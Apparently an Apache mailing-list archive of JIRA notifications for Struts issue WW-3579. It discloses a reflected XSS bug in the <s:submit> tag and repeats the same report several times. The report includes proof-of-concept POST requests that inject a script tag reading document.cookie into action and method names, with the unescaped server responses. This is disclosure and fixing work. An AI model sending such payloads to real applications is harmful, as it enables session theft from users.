> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marian Ventuneac updated WW-3579:
---------------------------------

    Attachment: WW-3579 - 3.patch

Struts 2 <s:submit> XSS vulnerabilities - patch 3

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marian Ventuneac updated WW-3579:
---------------------------------

    Summary: Struts 2 <s:submit> XSS vulnerability  (was: <s:submit> XSS vulnerability)

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Issue Comment Edited: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999230#comment-12999230 ] 

Lukasz Lenart edited comment on WW-3579 at 2/25/11 6:56 AM:
------------------------------------------------------------

Did you test your second patch -  WW-3579 - 2.patch ? It looks good for me. My only curious it an efficiency of such a solution. Is it possible to measure by your team impact on efficiency ?

      was (Author: lukaszlenart):
    Did you test your second patch -  WW-3579 - 2.patch ?
  
> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
